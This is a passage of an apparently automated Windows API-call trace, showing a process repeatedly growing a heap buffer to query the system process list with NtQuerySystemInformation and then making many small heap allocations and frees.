NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.218] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0193.218] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.219] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0193.219] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.219] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0193.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.220] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0193.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.221] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0193.221] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.222] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0193.222] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.223] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0193.223] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.223] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0193.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.224] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0193.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.225] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0193.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.226] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0193.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.227] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0193.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.227] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0193.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.228] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0193.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.229] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0193.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.230] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0193.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.231] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0193.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.231] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0193.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.232] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0193.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.233] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0193.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.234] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0193.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.235] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0193.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.235] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0193.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.236] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x43074060 [0193.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.238] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x25534) returned 0x43074060 [0193.238] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.239] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x26558) returned 0x43074060 [0193.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.239] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2757c) returned 0x43074060 [0193.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.240] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x285a0) returned 0x43074060 [0193.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.241] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x295c4) returned 0x43074060 [0193.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.242] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2a5e8) returned 0x43074060 [0193.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.243] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2b60c) returned 0x43074060 [0193.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.244] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2c630) returned 0x43074060 [0193.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.245] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2d654) returned 0x43074060 [0193.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0x0 [0193.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0193.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0193.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x431f97e0 [0193.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce5bc50 [0193.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0193.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5d8b0 [0193.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5bc50 [0193.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0193.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d8b0 [0193.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 